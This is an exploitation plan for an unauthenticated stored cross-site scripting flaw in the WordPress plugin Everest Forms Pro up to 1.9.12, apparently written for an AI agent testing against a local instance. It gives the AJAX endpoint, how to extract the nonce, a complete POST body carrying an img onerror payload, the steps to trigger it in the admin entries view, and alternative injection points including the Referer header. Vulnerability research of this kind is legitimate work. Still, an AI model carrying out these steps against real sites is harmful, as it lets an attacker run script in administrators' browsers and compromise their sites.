Everest Forms Pro <= 1.9.12 - Unauthenticated Stored Cross-Site Scripting

This research plan outlines the methodology for analyzing and exploiting the Unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in Everest Forms Pro (CVE-2026-27070).

1. Vulnerability Summary

Everest Forms Pro (up to 1.9.12) contains a stored XSS vulnerability because it fails to adequately sanitize or escape user-supplied data during form submission and subsequent display in the administrative dashboard. An unauthenticated attacker can submit a form entry containing a malicious script. This script is stored in the database and executes in the context of an administrative user when they view the form entry in the WordPress backend.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: everest_forms_submit_form (registered for unauthenticated users via wp_ajax_nopriv_everest_forms_submit_form).
• Vulnerable Parameter: The field values within the everest_forms array (e.g., everest_forms[form_id][field_id]).
• Authentication: None (Unauthenticated).
• Preconditions: A form created with Everest Forms Pro must be published on a public-facing page or post.

3. Code Flow (Inferred)

1. Entry Point: An AJAX POST request is sent to admin-ajax.php with action=everest_forms_submit_form.
2. Handler: The request is handled by EVF_Frontend_Form_Handler::submit_form() (inferred).
3. Processing: The plugin iterates through the submitted field values in $_POST['everest_forms'].
4. Storage: The unsanitized input is stored in the wp_evf_entries table (or similar custom table) via EVF_Entries_Context::create_entry().
5. Sink: When an administrator visits the "Entries" page (wp-admin/admin.php?page=evf-entries), the plugin retrieves the entry data.
6. Execution: In the "Entry Details" view, the data is echoed back to the screen without using esc_html() or wp_kses(), triggering the XSS in the admin's browser.

4. Nonce Acquisition Strategy

Everest Forms requires a security nonce for form submissions. This nonce is typically localized in a JavaScript object on any page where a form is embedded.

1. Identify Shortcode: Use wp-cli to find or create a form and identify its ID. The shortcode is [everest_form id="FORM_ID"].
2. Create Test Page: Create a public page containing the shortcode.
3. Extract Nonce via Browser:
   • Navigate to the test page using browser_navigate.
   • Everest Forms localizes its data in a global object named everest_forms_params.
   • Execute: browser_eval("window.everest_forms_params?.evf_nonce") to retrieve the submission nonce.
   • Execute: browser_eval("window.everest_forms_params?.ajax_url") to confirm the target endpoint.

5. Exploitation Strategy

Step 1: Data Gathering

• Get the form_id of an existing form.
• Find the field_id for a text or textarea field in that form. Standard IDs are usually integers (e.g., 1, 2).

Step 2: Form Submission (Payload Injection)

Submit a malicious POST request using the http_request tool.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Body:

  action=everest_forms_submit_form
  &security=[EXTRACTED_NONCE]
  &form_id=[FORM_ID]
  &everest_forms[[FORM_ID]][[FIELD_ID]]=<img src=x onerror="alert('XSS_SUCCESS')">
  

Step 3: Triggering XSS

The agent must simulate an admin viewing the entry.

• Log in as an admin.
• Navigate to wp-admin/admin.php?page=evf-entries.
• Click "View" on the latest entry (the URL usually looks like wp-admin/admin.php?page=evf-entries&view=details&entry_id=N).
• Confirm the alert or script execution.

6. Test Data Setup

1. Install Plugin: Ensure Everest Forms (Lite) and Everest Forms Pro are installed and active.
2. Create Form:

   # Create a basic form via WP-CLI (if the plugin supports it) or use a pre-defined JSON import if available.
   # Alternatively, use browser_navigate to manually create a simple form if CLI is unavailable.
   

3. Create Page:

   wp post create --post_type=page --post_title="Contact Us" --post_status=publish --post_content='[everest_form id="1"]'
   

7. Expected Results

• The http_request for form submission should return a JSON response indicating success (e.g., {"success":true,...}).
• The malicious payload <img src=x onerror="..."> should be stored in the database.
• When the admin views the "Entry Details" page, the browser should execute the onerror event.

8. Verification Steps

1. Database Check:

   wp db query "SELECT meta_value FROM wp_evf_entrymeta WHERE meta_value LIKE '%onerror%';"
   

2. Dashboard Check:
   • Use browser_navigate to the entries list.
   • Locate the entry and verify the payload is rendered in the HTML source without escaping:

   // In browser_eval
   document.body.innerHTML.includes("onerror=\"alert('XSS_SUCCESS')\"")
   

9. Alternative Approaches

• Pro-Specific Fields: If a standard text field is sanitized, test Pro-only fields like Address, Date, or Hidden Fields. Address fields often have sub-keys (e.g., everest_forms[id][field_id][city]).
• Metadata Exploitation: Check if the Referer or User-Agent is tracked by the Pro version and displayed in the admin entry view. If so, inject the payload into the Referer header of the submission request.
• Calculation Fields: If the form uses Calculation fields, attempt to inject the payload through the inputs that feed into the calculation.